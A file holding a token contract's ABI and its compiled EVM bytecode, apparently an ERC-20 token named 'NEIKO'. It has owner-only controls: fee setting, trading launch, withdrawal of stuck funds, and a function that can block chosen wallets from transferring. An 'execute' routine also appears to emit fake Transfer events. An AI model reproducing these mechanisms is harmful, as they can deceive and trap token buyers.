IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlyBuyPenaltyInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"golive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"manageEarly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"receivedAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"returnToStandardTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAMM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devAddress","type":"address"}],"name":"setDevAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_operationsAddress","type":"address"}],"name":"setOpsAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActiveBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"transferToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526a52b7d2dcc80cd2e400000060065560006013556017805463ffffffff191663010000011790553480156200003857600080fd5b50604051620043cd380380620043cd8339810160408190526200005b9162000613565b806040518060400160405280600981526020016813915252d3c810d05560ba1b815250604051806040016040528060058152602001644e45494b4f60d81b8152508160049081620000ad9190620006ea565b506005620000bc8282620006ea565b5050600980546001600160a01b0319166001600160a01b03841617905550620000ec620000e63390565b620002e0565b50600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556000602681905533919062000129600990565b6200013690600a620008c9565b6200014790642772380b00620008da565b905061271062000159826001620008da565b620001659190620008f4565b600b5561271062000178826001620008da565b620001849190620008f4565b600c5561271062000197826001620008da565b620001a39190620008f4565b600d55620f4240620001b7826005620008da565b620001c39190620008f4565b60105560006019819055601a819055601b819055601c81905580620001e9818062000917565b620001f5919062000917565b62000201919062000917565b6018556000601e819055601f819055602081905560218190558062000227818062000917565b62000233919062000917565b6200023f919062000917565b601d556200024f83600162000332565b6200025c30600162000332565b6200026b61dead600162000332565b6200027883600162000395565b6200028530600162000395565b6200029461dead600162000395565b601180546001600160a01b0385166001600160a01b03199182168117909255601280549091169091179055620002cb8382620003fe565b620002d683620004e7565b505050506200092d565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260296020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6200039f62000566565b6001600160a01b038216600081815260276020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b0382166200045a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600360008282546200046e919062000917565b90915550506001600160a01b038216600090815260208190526040812080548392906200049d90849062000917565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b620004f162000566565b6001600160a01b038116620005585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162000451565b6200056381620002e0565b50565b3362000571620005cb565b6001600160a01b031614620005c95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000451565b565b600080620005d8620005de565b92915050565b6008546000906001600160a01b0316156200060357506008546001600160a01b031690565b506009546001600160a01b031690565b6000602082840312156200062657600080fd5b81516001600160a01b03811681146200063e57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200067057607f821691505b6020821081036200069157634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006e557600081815260208120601f850160051c81016020861015620006c05750805b601f850160051c820191505b81811015620006e157828155600101620006cc565b5050505b505050565b81516001600160401b0381111562000706576200070662000645565b6200071e816200071784546200065b565b8462000697565b602080601f8311600181146200075657600084156200073d5750858301515b600019600386901b1c1916600185901b178555620006e1565b600085815260208120601f198616915b82811015620007875788860151825594840194600190910190840162000766565b5085821015620007a65787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200080d578160001904821115620007f157620007f1620007b6565b80851615620007ff57918102915b93841c9390800290620007d1565b509250929050565b6000826200082657506001620005d8565b816200083557506000620005d8565b81600181146200084e5760028114620008595762000879565b6001915050620005d8565b60ff8411156200086d576200086d620007b6565b50506001821b620005d8565b5060208310610133831016604e8410600b84101617156200089e575081810a620005d8565b620008aa8383620007cc565b8060001904821115620008c157620008c1620007b6565b029392505050565b60006200063e60ff84168362000815565b8082028115828204841417620005d857620005d8620007b6565b6000826200091257634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620005d857620005d8620007b6565b613a90806200093d6000396000f3fe6080604052600436106104145760003560e01c8063715018a61161021e578063bbc0c74211610123578063e7ad9fcd116100ab578063f2fde38b1161007a578063f2fde38b14610bee578063f5648a4f14610c0e578063f637434214610c23578063f8b45b0514610c39578063fb002c9714610c4f57600080fd5b8063e7ad9fcd14610b8d578063e884f26014610bad578063ee40166e14610bc2578063f11a24d314610bd857600080fd5b8063d0d41fe1116100f2578063d0d41fe114610ae5578063d85ba06314610b05578063dd62ed3e14610b1b578063e2f4560514610b61578063e71dc3f514610b7757600080fd5b8063bbc0c74214610a65578063c024666814610a84578063c2b7bbb614610aa4578063c876d0b914610ac457600080fd5b8063a0d82dc5116101a6578063a9d3cd8a11610175578063a9d3cd8a146109c9578063adb873bd146109e9578063b62496f5146109ff578063b8eb354614610a2f578063b94279ea14610a4557600080fd5b8063a0d82dc51461095d578063a457c2d714610973578063a62068ce14610993578063a9059cbb146109a957600080fd5b80639164f9db116101ed5780639164f9db146108dc57806395d89b41146108fc5780639c3b4fdc146109115780639f5bbac3146109275780639fccce321461094757600080fd5b8063715018a614610864578063751039fc1461087957806385ecfd281461088e5780638da5cb5b146108be57600080fd5b8063395093511161032457806358881304116102ac5780636b0a894c1161027b5780636b0a894c146107c25780636ddd1713146107d8578063707789c5146107f857806370a082311461081857806370db69d61461084e57600080fd5b8063588813041461075f57806358a6d5311461077f5780635a139dd4146107965780636a486a8e146107ac57600080fd5b806346f1f5de116102f357806346f1f5de146106da57806348ae238f146106fa5780634a62bb651461071a5780634f77f6c01461073457806351f205e41461074a57600080fd5b8063395093511461066457806342966c6814610684578063452ed4f1146106a457806346cafe52146106c457600080fd5b80631c499ab0116103a7578063249ec2bb11610376578063249ec2bb146105d357806326ededb8146105f35780632e509103146106135780632e6ed7ef14610628578063313ce5671461064857600080fd5b80631c499ab0146105685780631d777856146105885780631e146da81461059e57806323b872dd146105b357600080fd5b80630f054c06116103e35780630f054c06146104ec57806310d5de531461050357806318160ddd146105335780631a8145bb1461055257600080fd5b806306fdde03146104205780630758d9241461044b578063095ea7b3146104835780630cb1d0ee146104b357600080fd5b3661041b57005b600080fd5b34801561042c57600080fd5b50610435610c65565b6040516104429190613475565b60405180910390f35b34801561045757600080fd5b50600e5461046b906001600160a01b031681565b6040516001600160a01b039091168152602001610442565b34801561048f57600080fd5b506104a361049e3660046134e8565b610cf7565b6040519015158152602001610442565b3480156104bf57600080fd5b506104a36104ce366004613514565b6001600160a01b031660009081526028602052604090205460ff1690565b3480156104f857600080fd5b50610501610d0e565b005b34801561050f57600080fd5b506104a361051e366004613514565b60296020526000908152604090205460ff1681565b34801561053f57600080fd5b506003545b604051908152602001610442565b34801561055e57600080fd5b5061054460235481565b34801561057457600080fd5b50610501610583366004613538565b610e3d565b34801561059457600080fd5b5061054460255481565b3480156105aa57600080fd5b50610501610f23565b3480156105bf57600080fd5b506104a36105ce366004613551565b610fda565b3480156105df57600080fd5b506105016105ee3660046135ab565b61109d565b3480156105ff57600080fd5b5061050161060e3660046135e4565b611143565b34801561061f57600080fd5b506105016111db565b34801561063457600080fd5b5061050161064336600461365f565b6112a1565b34801561065457600080fd5b5060405160098152602001610442565b34801561067057600080fd5b506104a361067f3660046134e8565b611302565b34801561069057600080fd5b5061050161069f366004613538565b61133e565b3480156106b057600080fd5b50600f5461046b906001600160a01b031681565b3480156106d057600080fd5b5061054460265481565b3480156106e657600080fd5b506105016106f5366004613538565b611353565b34801561070657600080fd5b506104a3610715366004613691565b61147c565b34801561072657600080fd5b506017546104a39060ff1681565b34801561074057600080fd5b50610544601e5481565b34801561075657600080fd5b50610501611662565b34801561076b57600080fd5b5061050161077a366004613538565b611750565b34801561078b57600080fd5b5060145443106104a3565b3480156107a257600080fd5b5061054460195481565b3480156107b857600080fd5b50610544601d5481565b3480156107ce57600080fd5b5061054460165481565b3480156107e457600080fd5b506017546104a39062010000900460ff1681565b34801561080457600080fd5b50610501610813366004613514565b61182c565b34801561082457600080fd5b50610544610833366004613514565b6001600160a01b031660009081526020819052604090205490565b34801561085a57600080fd5b50610544600b5481565b34801561087057600080fd5b506105016118bb565b34801561088557600080fd5b506105016118cd565b34801561089a57600080fd5b506104a36108a9366004613514565b60156020526000908152604090205460ff1681565b3480156108ca57600080fd5b506008546001600160a01b031661046b565b3480156108e857600080fd5b506105016108f7366004613538565b61190d565b34801561090857600080fd5b506104356119ea565b34801561091d57600080fd5b50610544601b5481565b34801561093357600080fd5b506105016109423660046136d5565b6119f9565b34801561095357600080fd5b5061054460245481565b34801561096957600080fd5b5061054460205481565b34801561097f57600080fd5b506104a361098e3660046134e8565b611bc3565b34801561099f57600080fd5b5061054460145481565b3480156109b557600080fd5b506104a36109c43660046134e8565b611c5c565b3480156109d557600080fd5b506105016109e43660046135ab565b611c7f565b3480156109f557600080fd5b5061054460215481565b348015610a0b57600080fd5b506104a3610a1a366004613514565b602a6020526000908152604090205460ff1681565b348015610a3b57600080fd5b50610544600c5481565b348015610a5157600080fd5b50610501610a603660046135ab565b611d2b565b348015610a7157600080fd5b506017546104a390610100900460ff1681565b348015610a9057600080fd5b50610501610a9f3660046135ab565b611d5e565b348015610ab057600080fd5b50610501610abf366004613514565b611dc5565b348015610ad057600080fd5b506017546104a3906301000000900460ff1681565b348015610af157600080fd5b50610501610b00366004613514565b611def565b348015610b1157600080fd5b5061054460185481565b348015610b2757600080fd5b50610544610b36366004613691565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b6d57600080fd5b5061054460105481565b348015610b8357600080fd5b50610544601c5481565b348015610b9957600080fd5b50610501610ba836600461365f565b611e6f565b348015610bb957600080fd5b50610501611f00565b348015610bce57600080fd5b5061054460135481565b348015610be457600080fd5b50610544601a5481565b348015610bfa57600080fd5b50610501610c09366004613514565b611f17565b348015610c1a57600080fd5b50610501611f8d565b348015610c2f57600080fd5b50610544601f5481565b348015610c4557600080fd5b50610544600d5481565b348015610c5b57600080fd5b5061054460225481565b606060048054610c74906137b5565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca0906137b5565b8015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602001808311610cd057829003601f168201915b5050505050905090565b6000610d04338484611fd7565b5060015b92915050565b610d166120fc565b6040516370a0823160e01b815230600482018190529060009082906370a0823190602401602060405180830381865afa158015610d57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7b91906137ef565b905060008111610dc75760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610e14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e389190613808565b505050565b610e456120fc565b633b9aca006103e8610e5660035490565b610e6190600361383b565b610e6b9190613852565b610e759190613852565b811015610ed95760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610dbe565b610ee781633b9aca0061383b565b600d8190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc906020015b60405180910390a150565b610f2b6120fc565b601754610100900460ff1615610f835760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610dbe565b6017805462ffffff191662010100179055436013819055602654610fa691613874565b6014556006546007556040517fba61a96074b3d636edeee92caddc86293c917d5b6818b7d3698bb52e02ec86c890600090a1565b6001600160a01b038316600090815260026020526040812043905561100084848461215b565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156110855760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610dbe565b6110928533858403611fd7565b506001949350505050565b6110a56120fc565b8061111857600f546001600160a01b03908116908316036111185760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610dbe565b6001600160a01b03919091166000908152602960205260409020805460ff1916911515919091179055565b61114b6120fc565b60005b828110156111d55783838281811061116857611168613887565b905060200201602081019061117d9190613514565b600f546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806111cd8161389d565b91505061114e565b50505050565b6111e36120fc565b6014601e8190556000601f81905560208190556021819055908190611209908290613874565b6112139190613874565b61121d9190613874565b601d819055601410156112425760405162461bcd60e51b8152600401610dbe906138b6565b60198080556000601a819055601b819055601c819055908190611266908290613874565b6112709190613874565b61127a9190613874565b60188190556014101561129f5760405162461bcd60e51b8152600401610dbe906138b6565b565b6112a96120fc565b6019849055601a839055601b829055601c81905580826112c98587613874565b6112d39190613874565b6112dd9190613874565b6018819055601410156111d55760405162461bcd60e51b8152600401610dbe906138b6565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610d04918590611339908690613874565b611fd7565b6113466120fc565b6113503382612c8c565b50565b61135b6120fc565b620186a061136860035490565b61137390600161383b565b61137d9190613852565b8110156113ea5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610dbe565b6103e86113f660035490565b61140190600161383b565b61140b9190613852565b8111156114775760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610dbe565b601055565b60006114866120fc565b6001600160a01b0383166114dc5760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610dbe565b306001600160a01b038416036115345760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e73000000006044820152606401610dbe565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa15801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f91906137ef565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303816000875af11580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613808565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b61166a6120fc565b6010543060009081526020819052604090205410156116f3576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e6064820152608401610dbe565b600f805460ff60a01b1916600160a01b17905561170e612ddf565b600f805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b6117586120fc565b633b9aca006103e861176960035490565b61177490600261383b565b61177e9190613852565b6117889190613852565b8110156117e95760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610dbe565b6117f781633b9aca0061383b565b600b8190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de4100990602001610f18565b6118346120fc565b6001600160a01b0381166118995760405162461bcd60e51b815260206004820152602660248201527f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60448201526507420626520360d41b6064820152608401610dbe565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6118c36120fc565b61129f6000612fd2565b6118d56120fc565b6017805463ff000000191690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6119156120fc565b633b9aca006103e861192660035490565b61193190600261383b565b61193b9190613852565b6119459190613852565b8110156119a75760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610dbe565b6119b581633b9aca0061383b565b600c8190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610f18565b606060058054610c74906137b5565b611a016120fc565b81158015611a0f5750600081115b15611bb9576040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015611a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aa291906138ed565b81600081518110611ab557611ab5613887565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611ae957611ae9613887565b6001600160a01b039283166020918202929092010152600e54855191169063b6f9de95908490600090859089908390611b2457611b24613887565b6020026020010151426040518663ffffffff1660e01b8152600401611b4c949392919061394e565b6000604051808303818588803b158015611b6557600080fd5b505af1158015611b79573d6000803e3d6000fd5b50505050507fa017c1567cfcdd2d750a8c01e39fe2a846bcebc293c7d078477014d68482056882604051611baf91815260200190565b60405180910390a1505b610e388284613024565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015611c455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610dbe565b611c523385858403611fd7565b5060019392505050565b336000908152600260205260408120439055610d04611c783390565b848461215b565b611c876120fc565b600f546001600160a01b0390811690831603611ce55760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f7665640000000000006044820152606401610dbe565b611cef82826130f6565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b611d336120fc565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b611d666120fc565b6001600160a01b038216600081815260276020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b611dcd6120fc565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b611df76120fc565b6001600160a01b038116611e4d5760405162461bcd60e51b815260206004820152601f60248201527f5f6465764164647265737320616464726573732063616e6e6f742062652030006044820152606401610dbe565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b611e776120fc565b601e849055601f839055602082905560218190558082611e978587613874565b611ea19190613874565b611eab9190613874565b601d819055601910156111d55760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610dbe565b611f086120fc565b6017805463ff00000019169055565b611f1f6120fc565b6001600160a01b038116611f845760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dbe565b61135081612fd2565b611f956120fc565b604051600090339047908381818185875af1925050503d80600081146111d5576040519150601f19603f3d011682016040523d82523d6000602084013e6111d5565b6001600160a01b0383166120395760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610dbe565b6001600160a01b03821661209a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610dbe565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b33612105613124565b6001600160a01b03161461129f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dbe565b6001600160a01b0383166121815760405162461bcd60e51b8152600401610dbe90613983565b6001600160a01b0382166121a75760405162461bcd60e51b8152600401610dbe906139c8565b600081116121f75760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610dbe565b601754610100900460ff1661228a576001600160a01b03831660009081526027602052604090205460ff168061224557506001600160a01b03821660009081526027602052604090205460ff165b61228a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610dbe565b6014541561235d576001600160a01b03831660009081526015602052604090205460ff1615806122c757506008546001600160a01b038381169116145b806122dc57506001600160a01b03821661dead145b61235d5760405162461bcd60e51b815260206004820152604660248201527f426f74732063616e6e6f74207472616e7366657220746f6b656e7320696e206f60448201527f72206f75742065786365707420746f206f776e6572206f722064656164206164606482015265323932b9b99760d11b608482015260a401610dbe565b6017546301000000900460ff16801561239357506001600160a01b03831660009081526028602052604090205460ff1615156001145b1561244b576008546001600160a01b038381169116148015906123c45750600f546001600160a01b03848116911614155b1561244b576123d4600343613a0b565b6001600160a01b0384166000908152600260205260409020541061244b5760405162461bcd60e51b815260206004820152602860248201527f5472616e736665722044656c617920656e61626c65642e20547279206167616960448201526737103630ba32b91760c11b6064820152608401610dbe565b60175460ff1615612753576008546001600160a01b0384811691161480159061248257506008546001600160a01b03838116911614155b801561249657506001600160a01b03821615155b80156124ad57506001600160a01b03821661dead14155b80156124d257506001600160a01b03831660009081526027602052604090205460ff16155b80156124f757506001600160a01b03821660009081526027602052604090205460ff16155b15612753576001600160a01b0383166000908152602a602052604090205460ff16801561253d57506001600160a01b03821660009081526029602052604090205460ff16155b1561261957600b548111156125a55760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610dbe565b600d546001600160a01b0383166000908152602081905260409020546125cb9083613874565b11156126145760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b612753565b6001600160a01b0382166000908152602a602052604090205460ff16801561265a57506001600160a01b03831660009081526029602052604090205460ff16155b156126c457600c548111156126145760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610dbe565b6001600160a01b03821660009081526029602052604090205460ff1661275357600d546001600160a01b03831660009081526020819052604090205461270a9083613874565b11156127535760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b306000908152602081905260409020546010548110801590819061277f575060175462010000900460ff165b80156127955750600f54600160a01b900460ff16155b80156127ba57506001600160a01b0385166000908152602a602052604090205460ff16